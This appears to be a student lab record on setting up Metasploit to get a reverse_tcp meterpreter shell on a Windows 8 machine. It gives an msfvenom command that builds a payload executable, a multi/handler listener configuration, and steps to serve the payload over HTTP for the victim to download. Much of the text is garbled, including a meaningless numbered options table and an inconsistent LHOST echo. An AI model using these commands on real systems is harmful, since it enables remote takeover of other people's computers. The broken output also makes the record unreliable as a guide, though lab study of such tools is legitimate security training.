

METASPLOIT**Aim:**

To set up Metasploit framework and exploit reverse_tcp in Windows 8 machine remotely.

Algorithm:

1. Generate payload to be inserted into the remote machine
2. Set the LHOST and it's port number
3. Open msfconsole.
4. Use exploit/multi/handler
5. Establish reverse_tcp with the remote windows 8 machine.
6. Run SimpleHTTPServer with port number 8000.
7. Open the web browser in Windows 8 machine and type http://172.16.8.155:8000
8. In KaliLinux, type sysinfo to get the information about Windows 8 machine
9. Create a new directory using mkdir command.
- 10.Delete the created directory.

Output:

```
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.8.155  
LPORT=443 -f exe > /root/hi.exe
```

```
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
```

```
[-] No arch selected, selecting arch: x86 from the payload
```

```
No encoder or badchars specified, outputting raw payload
```

```
Payload size: 341 bytes
```

```
Final size of exe file: 73802 bytes root@kali:~#
```

```
msfconsole
```

```
[-] ***Rting the Metasploit Framework console...\
```

```
[-] * WARNING: No database support: could not connect to server: Connection refused
```

```
Is the server running on host "localhost" (:::1) and accepting
```

```
TCP/IP connections on port 5432?
```

could not connect to server: Connection refused

Is the server running on host "localhost" (127.0.0.1) and accepting TCP/IP connections on port 5432?

[-] ***

[illegible]

```

=[ metasploit v5.0.41-dev
+ -- --=[ 1914 exploits - 1074 auxiliary - 330 post
+ -- --=[ 556 payloads - 45 encoders - 10 nops
+ -- --=[ 4 evasion

```

```
msf5 > use exploit/multi/handler
```

```
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
```

```
payload => windows/meterpreter/reverse_tcp msf5 exploit(multi/handler)
```

```
> show options
```

Module options (exploit/multi/handler):

Name	Current Setting	Required	Description
1	1	1	1
2	2	2	2
3	3	3	3
4	4	4	4
5	5	5	5
6	6	6	6
7	7	7	7
8	8	8	8
9	9	9	9
10	10	10	10
11	11	11	11
12	12	12	12
13	13	13	13
14	14	14	14
15	15	15	15
16	16	16	16
17	17	17	17
18	18	18	18
19	19	19	19
20	20	20	20
21	21	21	21
22	22	22	22
23	23	23	23
24	24	24	24
25	25	25	25
26	26	26	26
27	27	27	27
28	28	28	28
29	29	29	29
30	30	30	30
31	31	31	31
32	32	32	32
33	33	33	33
34	34	34	34
35	35	35	35
36	36	36	36
37	37	37	37
38	38	38	38
39	39	39	39
40	40	40	40
41	41	41	41
42	42	42	42
43	43	43	43
44	44	44	44
45	45	45	45
46	46	46	46
47	47	47	47
48	48	48	48
49	49	49	49
50	50	50	50
51	51	51	51
52	52	52	52
53	53	53	53
54	54	54	54
55	55	55	55
56	56	56	56
57	57	57	57
58	58	58	58
59	59	59	59
60	60	60	60
61	61	61	61
62	62	62	62
63	63	63	63
64	64	64	64
65	65	65	65
66	66	66	66
67	67	67	67
68	68	68	68
69	69	69	69
70	70	70	70
71	71	71	71
72	72	72	72
73	73	73	73
74	74	74	74
75	75	75	75
76	76	76	76
77	77	77	77
78	78	78	78
79	79	79	79
80	80	80	80
81	81	81	81
82	82	82	82
83	83	83	83
84	84	84	84
85	85	85	85
86	86	86	86
87	87	87	87
88	88	88	88
89	89	89	89
90	90	90	90
91	91	91	91
92	92	92	92
93	93	93	93
94	94	94	94
95	95	95	95
96	96	96	96
97	97	97	97
98	98	98	98
99	99	99	99
100	100	100	100

Payload options (windows/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
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EXITFUNC process yes Exit technique (Accepted: ", seh, thread, process, none)
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name

-- ----

0 Wildcard Target

msf5 exploit(multi/handler) > set LHOST 172.16.8.155 LHOST

=> 172.16.8.156

msf5 exploit(multi/handler) > set LPORT 443 LPORT

=> 443

msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 172.16.8.155:443

Result: Thus, the setup of Metasploit framework and exploit reverse_tcp in Windows 8 machine remotely has been executed successfully.